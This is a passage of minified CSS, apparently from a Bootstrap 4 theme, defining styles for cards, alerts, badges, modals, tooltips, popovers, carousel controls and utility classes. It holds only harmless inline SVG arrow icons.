a:focus{color:#fff}.card{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,0.125);border-radius:0.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.card-body{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:0.75rem}.card-subtitle{margin-top:-0.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:0.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,0.03);border-bottom:1px solid rgba(0,0,0,0.125)}.card-header:first-child{border-radius:calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:0.75rem 1.25rem;background-color:rgba(0,0,0,0.03);border-top:1px solid rgba(0,0,0,0.125)}.card-footer:last-child{border-radius:0 0 calc(0.25rem - 1px) calc(0.25rem - 1px)}.card-header-tabs{margin-right:-0.625rem;margin-bottom:-0.75rem;margin-left:-0.625rem;border-bottom:0}.card-header-pills{margin-right:-0.625rem;margin-left:-0.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(0.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(0.25rem - 1px);border-top-right-radius:calc(0.25rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(0.25rem - 1px);border-bottom-left-radius:calc(0.25rem - 1px)}.card-deck{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width: 576px){.card-deck{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width: 576px){.card-group{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:first-child .card-img-top,.card-group>.card:first-child .card-header{border-top-right-radius:0}.card-group>.card:first-child .card-img-bottom,.card-group>.card:first-child .card-footer{border-bottom-right-radius:0}.card-group>.card:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:last-child .card-img-top,.card-group>.card:last-child .card-header{border-top-left-radius:0}.card-group>.card:last-child .card-img-bottom,.card-group>.card:last-child .card-footer{border-bottom-left-radius:0}.card-group>.card:only-child{border-radius:0.25rem}.card-group>.card:only-child .card-img-top,.card-group>.card:only-child .card-header{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.card-group>.card:only-child .card-img-bottom,.card-group>.card:only-child .card-footer{border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.card-group>.card:not(:first-child):not(:last-child):not(:only-child){border-radius:0}.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-header,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-footer{border-radius:0}}.card-columns .card{margin-bottom:0.75rem}@media (min-width: 576px){.card-columns{-webkit-column-count:3;column-count:3;-webkit-column-gap:1.25rem;column-gap:1.25rem}.card-columns .card{display:inline-block;width:100%}}.breadcrumb{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:0.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#eee;border-radius:0.25rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:0.5rem;padding-left:0.5rem;color:#777;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#777}.pagination{display:-webkit-box;display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:0.25rem}.page-link{position:relative;display:block;padding:0.5rem 0.75rem;margin-left:-1px;line-height:1.25;color:#EB6864;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{color:#fff;text-decoration:none;background-color:#EB6864;border-color:#EB6864}.page-link:focus{z-index:2;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(235,104,100,0.25);box-shadow:0 0 0 0.2rem rgba(235,104,100,0.25)}.page-link:not(:disabled):not(.disabled){cursor:pointer}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:0.25rem;border-bottom-left-radius:0.25rem}.page-item:last-child .page-link{border-top-right-radius:0.25rem;border-bottom-right-radius:0.25rem}.page-item.active .page-link{z-index:1;color:#fff;background-color:#EB6864;border-color:#EB6864}.page-item.disabled .page-link{color:#777;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:0.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:0.3rem;border-bottom-left-radius:0.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:0.3rem;border-bottom-right-radius:0.3rem}.pagination-sm .page-link{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:0.2rem;border-bottom-left-radius:0.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:0.2rem;border-bottom-right-radius:0.2rem}.badge{display:inline-block;padding:0.25em 0.4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:0.25rem}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:0.6em;padding-left:0.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#EB6864}.badge-primary[href]:hover,.badge-primary[href]:focus{color:#fff;text-decoration:none;background-color:#e53c37}.badge-secondary{color:#222;background-color:#aaa}.badge-secondary[href]:hover,.badge-secondary[href]:focus{color:#222;text-decoration:none;background-color:#919090}.badge-success{color:#fff;background-color:#22B24C}.badge-success[href]:hover,.badge-success[href]:focus{color:#fff;text-decoration:none;background-color:#1a873a}.badge-info{color:#fff;background-color:#369}.badge-info[href]:hover,.badge-info[href]:focus{color:#fff;text-decoration:none;background-color:#264d73}.badge-warning{color:#222;background-color:#F5E625}.badge-warning[href]:hover,.badge-warning[href]:focus{color:#222;text-decoration:none;background-color:#ddce0a}.badge-danger{color:#fff;background-color:#F57A00}.badge-danger[href]:hover,.badge-danger[href]:focus{color:#fff;text-decoration:none;background-color:#c26100}.badge-light{color:#222;background-color:#f8f9fa}.badge-light[href]:hover,.badge-light[href]:focus{color:#222;text-decoration:none;background-color:#dae0e5}.badge-dark{color:#fff;background-color:#222}.badge-dark[href]:hover,.badge-dark[href]:focus{color:#fff;text-decoration:none;background-color:#090808}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#eee;border-radius:0.3rem}@media (min-width: 576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:0.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:0.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:0.75rem 1.25rem;color:inherit}.alert-primary{color:#7a3634;background-color:#fbe1e0;border-color:#f9d5d4}.alert-primary hr{border-top-color:#f6bfbe}.alert-primary .alert-link{color:#562625}.alert-secondary{color:#585858;background-color:#eeeeee;border-color:#e7e7e7}.alert-secondary hr{border-top-color:#dadada}.alert-secondary .alert-link{color:#3f3e3e}.alert-success{color:#125d28;background-color:#d3f0db;border-color:#c1e9cd}.alert-success hr{border-top-color:#aee2be}.alert-success .alert-link{color:#0a3216}.alert-info{color:#1b3550;background-color:#d6e0eb;border-color:#c6d4e2}.alert-info hr{border-top-color:#b5c7d9}.alert-info .alert-link{color:#0e1c2a}.alert-warning{color:#7f7813;background-color:#fdfad3;border-color:#fcf8c2}.alert-warning hr{border-top-color:#fbf5aa}.alert-warning .alert-link{color:#534e0c}.alert-danger{color:#7f3f00;background-color:#fde4cc;border-color:#fcdab8}.alert-danger hr{border-top-color:#fbcda0}.alert-danger .alert-link{color:#4c2600}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#121212;background-color:lightgray;border-color:#c1c1c1}.alert-dark hr{border-top-color:#b4b4b4}.alert-dark .alert-link{color:black}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-webkit-box;display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:0.75rem;background-color:#eee;border-radius:0.25rem}.progress-bar{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;color:#fff;text-align:center;background-color:#EB6864;-webkit-transition:width 0.6s ease;transition:width 0.6s ease}.progress-bar-striped{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}.media{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}.media-body{-webkit-box-flex:1;-ms-flex:1;flex:1}.list-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:hover,.list-group-item-action:focus{color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#222;background-color:#eee}.list-group-item{position:relative;display:block;padding:0.75rem 1.25rem;margin-bottom:-1px;background-color:#fff;border:1px solid rgba(0,0,0,0.125)}.list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.list-group-item:hover,.list-group-item:focus{z-index:1;text-decoration:none}.list-group-item.disabled,.list-group-item:disabled{color:#777;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#EB6864;border-color:#EB6864}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{border-bottom:0}.list-group-item-primary{color:#7a3634;background-color:#f9d5d4}.list-group-item-primary.list-group-item-action:hover,.list-group-item-primary.list-group-item-action:focus{color:#7a3634;background-color:#f6bfbe}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#7a3634;border-color:#7a3634}.list-group-item-secondary{color:#585858;background-color:#e7e7e7}.list-group-item-secondary.list-group-item-action:hover,.list-group-item-secondary.list-group-item-action:focus{color:#585858;background-color:#dadada}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#585858;border-color:#585858}.list-group-item-success{color:#125d28;background-color:#c1e9cd}.list-group-item-success.list-group-item-action:hover,.list-group-item-success.list-group-item-action:focus{color:#125d28;background-color:#aee2be}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#125d28;border-color:#125d28}.list-group-item-info{color:#1b3550;background-color:#c6d4e2}.list-group-item-info.list-group-item-action:hover,.list-group-item-info.list-group-item-action:focus{color:#1b3550;background-color:#b5c7d9}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#1b3550;border-color:#1b3550}.list-group-item-warning{color:#7f7813;background-color:#fcf8c2}.list-group-item-warning.list-group-item-action:hover,.list-group-item-warning.list-group-item-action:focus{color:#7f7813;background-color:#fbf5aa}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#7f7813;border-color:#7f7813}.list-group-item-danger{color:#7f3f00;background-color:#fcdab8}.list-group-item-danger.list-group-item-action:hover,.list-group-item-danger.list-group-item-action:focus{color:#7f3f00;background-color:#fbcda0}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#7f3f00;border-color:#7f3f00}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:hover,.list-group-item-light.list-group-item-action:focus{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#121212;background-color:#c1c1c1}.list-group-item-dark.list-group-item-action:hover,.list-group-item-dark.list-group-item-action:focus{color:#121212;background-color:#b4b4b4}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#121212;border-color:#121212}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:hover,.close:focus{color:#000;text-decoration:none;opacity:.75}.close:not(:disabled):not(.disabled){cursor:pointer}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;outline:0}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:0.5rem;pointer-events:none}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform 0.3s ease-out;transition:-webkit-transform 0.3s ease-out;transition:transform 0.3s ease-out;transition:transform 0.3s ease-out, -webkit-transform 0.3s ease-out;-webkit-transform:translate(0, -25%);transform:translate(0, -25%)}.modal.show .modal-dialog{-webkit-transform:translate(0, 0);transform:translate(0, 0)}.modal-dialog-centered{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;min-height:calc(100% - (0.5rem * 2))}.modal-content{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,0.2);border-radius:0.3rem;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:0.5}.modal-header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:1rem;border-bottom:1px solid #eee;border-top-left-radius:0.3rem;border-top-right-radius:0.3rem}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:end;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:1px solid #eee}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width: 576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-centered{min-height:calc(100% - (1.75rem * 2))}.modal-sm{max-width:300px}}@media (min-width: 992px){.modal-lg{max-width:800px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:0.9}.tooltip .arrow{position:absolute;display:block;width:0.8rem;height:0.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-top,.bs-tooltip-auto[x-placement^="top"]{padding:0.4rem 0}.bs-tooltip-top .arrow,.bs-tooltip-auto[x-placement^="top"] .arrow{bottom:0}.bs-tooltip-top .arrow::before,.bs-tooltip-auto[x-placement^="top"] .arrow::before{top:0;border-width:0.4rem 0.4rem 0;border-top-color:#000}.bs-tooltip-right,.bs-tooltip-auto[x-placement^="right"]{padding:0 0.4rem}.bs-tooltip-right .arrow,.bs-tooltip-auto[x-placement^="right"] .arrow{left:0;width:0.4rem;height:0.8rem}.bs-tooltip-right .arrow::before,.bs-tooltip-auto[x-placement^="right"] .arrow::before{right:0;border-width:0.4rem 0.4rem 0.4rem 0;border-right-color:#000}.bs-tooltip-bottom,.bs-tooltip-auto[x-placement^="bottom"]{padding:0.4rem 0}.bs-tooltip-bottom .arrow,.bs-tooltip-auto[x-placement^="bottom"] .arrow{top:0}.bs-tooltip-bottom .arrow::before,.bs-tooltip-auto[x-placement^="bottom"] .arrow::before{bottom:0;border-width:0 0.4rem 0.4rem;border-bottom-color:#000}.bs-tooltip-left,.bs-tooltip-auto[x-placement^="left"]{padding:0 0.4rem}.bs-tooltip-left .arrow,.bs-tooltip-auto[x-placement^="left"] .arrow{right:0;width:0.4rem;height:0.8rem}.bs-tooltip-left .arrow::before,.bs-tooltip-auto[x-placement^="left"] .arrow::before{left:0;border-width:0.4rem 0 0.4rem 0.4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:0.25rem 0.5rem;color:#fff;text-align:center;background-color:#000;border-radius:0.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,0.2);border-radius:0.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:0.5rem;margin:0 0.3rem}.popover .arrow::before,.popover .arrow::after{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-top,.bs-popover-auto[x-placement^="top"]{margin-bottom:0.5rem}.bs-popover-top .arrow,.bs-popover-auto[x-placement^="top"] .arrow{bottom:calc((0.5rem + 1px) * -1)}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before,.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{border-width:0.5rem 0.5rem 0}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before{bottom:0;border-top-color:rgba(0,0,0,0.25)}.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{bottom:1px;border-top-color:#fff}.bs-popover-right,.bs-popover-auto[x-placement^="right"]{margin-left:0.5rem}.bs-popover-right .arrow,.bs-popover-auto[x-placement^="right"] .arrow{left:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before,.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{border-width:0.5rem 0.5rem 0.5rem 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before{left:0;border-right-color:rgba(0,0,0,0.25)}.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{left:1px;border-right-color:#fff}.bs-popover-bottom,.bs-popover-auto[x-placement^="bottom"]{margin-top:0.5rem}.bs-popover-bottom .arrow,.bs-popover-auto[x-placement^="bottom"] .arrow{top:calc((0.5rem + 1px) * -1)}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before,.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{border-width:0 0.5rem 0.5rem 0.5rem}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before{top:0;border-bottom-color:rgba(0,0,0,0.25)}.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{top:1px;border-bottom-color:#fff}.bs-popover-bottom .popover-header::before,.bs-popover-auto[x-placement^="bottom"] .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-0.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-left,.bs-popover-auto[x-placement^="left"]{margin-right:0.5rem}.bs-popover-left .arrow,.bs-popover-auto[x-placement^="left"] .arrow{right:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before,.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{border-width:0.5rem 0 0.5rem 0.5rem}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before{right:0;border-left-color:rgba(0,0,0,0.25)}.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{right:1px;border-left-color:#fff}.popover-header{padding:0.5rem 0.75rem;margin-bottom:0;font-size:1rem;color:inherit;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(0.3rem - 1px);border-top-right-radius:calc(0.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:0.5rem 0.75rem;color:#222}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-item{position:relative;display:none;-webkit-box-align:center;-ms-flex-align:center;align-items:center;width:100%;-webkit-transition:-webkit-transform 0.6s ease;transition:-webkit-transform 0.6s ease;transition:transform 0.6s ease;transition:transform 0.6s ease, -webkit-transform 0.6s ease;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-item.active,.carousel-item-next,.carousel-item-prev{display:block}.carousel-item-next,.carousel-item-prev{position:absolute;top:0}.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translateX(0);transform:translateX(0)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}}.carousel-item-next,.active.carousel-item-right{-webkit-transform:translateX(100%);transform:translateX(100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next,.active.carousel-item-right{-webkit-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0)}}.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translateX(-100%);transform:translateX(-100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}}.carousel-control-prev,.carousel-control-next{position:absolute;top:0;bottom:0;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:0.5}.carousel-control-prev:hover,.carousel-control-prev:focus,.carousel-control-next:hover,.carousel-control-next:focus{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-prev-icon,.carousel-control-next-icon{display:inline-block;width:20px;height:20px;background:transparent no-repeat center center;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")}.carousel-control-next-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")}.carousel-indicators{position:absolute;right:0;bottom:10px;left:0;z-index:15;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;background-color:rgba(255,255,255,0.5)}.carousel-indicators li::before{position:absolute;top:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators li::after{position:absolute;bottom:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators .active{background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}.align-baseline{vertical-align:baseline !important}.align-top{vertical-align:top !important}.align-middle{vertical-align:middle !important}.align-bottom{vertical-align:bottom !important}.align-text-bottom{vertical-align:text-bottom !important}.align-text-top{vertical-align:text-top !important}.bg-primary{background-color:#EB6864 !important}a.bg-primary:hover,a.bg-primary:focus,button.bg-primary:hover,button.bg-primary:focus{background-color:#e53c37 !important}.bg-secondary{background-color:#aaa !important}a.bg-secondary:hover,a.bg-secondary:focus,button.bg-secondary:hover,button.bg-secondary:focus{background-color:#919090 !important}.bg-success{background-color:#22B24C !important}a.bg-success:hover,a.bg-success:focus,button.bg-success:hover,button.bg-success:focus{background-color:#1a873a !important}.bg-info{background-color:#369 !important}a.bg-info:hover,a.bg-info:focus,button.bg-info:hover,button.bg-info:focus{background-color:#264d73 !important}.bg-warning{background-color:#F5E625 !important}a.bg-warning:hover,a.bg-warning:focus,button.bg-warning:hover,button.bg-warning:focus{background-color:#ddce0a !important}.bg-danger{background-color:#F57A00 !important}a.bg-danger:hover,a.bg-danger:focus,button.bg-danger:hover,button.bg-danger:focus{background-color:#c26100 !important}.bg-light{background-color:#f8f9fa !important}a.bg-light:hover,a.bg-light:focus,button.bg-light:hover,button.bg-light:focus{background-color:#dae0e5 !important}.bg-dark{background-color:#222 !important}a.bg-dark:hover,a.bg-dark:focus,button.bg-dark:hover,button.bg-dark:focus{background-color:#090808 !important}.bg-white{background-color:#fff !important}.bg-transparent{background-color:transparent !important}.border{border:1px solid #dee2e6 !important}.border-top{border-top:1px solid #dee2e6 !important}.border-right{border-right:1px solid #dee2e6 !important}.border-bottom{border-bottom:1px solid #dee2e6 !important}.border-left{border-left:1px solid #dee2e6 !important}.border-0{border:0 !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.border-primary{border-color:#EB6864 !important}.border-secondary{border-color:#aaa !important}.border-success{border-color:#22B24C !important}.border-info{border-color:#369 !important}.border-warning{border-color:#F5E625 !important}.border-danger{border-color:#F57A00 !important}.border-light{border-color:#f8f9fa !important}.border-dark{border-color:#222 !important}.border-white{border-color:#fff !important}.rounded{border-radius:0.25rem !important}.rounded-top{border-top-left-radius:0.25rem !important;border-top-right-radius:0.25rem !important}.rounded-right{border-top-right-radius:0.25rem !important;border-bottom-right-radius:0.25rem !important}.rounded-bottom{border-bottom-right-radius:0.25rem !important;border-bottom-left-radius:0.25rem !important}.rounded-left{border-top-left-radius:0.25rem !important;border-bottom-left-radius:0.25rem !important}.rounded-circle{border-radius:50% !important}.rounded-0{border-radius:0 !important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.d-table{display:table !important}.d-table-row{display:table-row !important}.d-table-cell{display:table-cell !important}.d-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}@media (min-width: 576px){.d-sm-none{display:none !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-block{display:block !important}.d-sm-table{display:table !important}.d-sm-table-row{display:table-row !important}.d-sm-table-cell{display:table-cell !important}.d-sm-flex{display:-webkit-box !important;display:-ms-flexbox 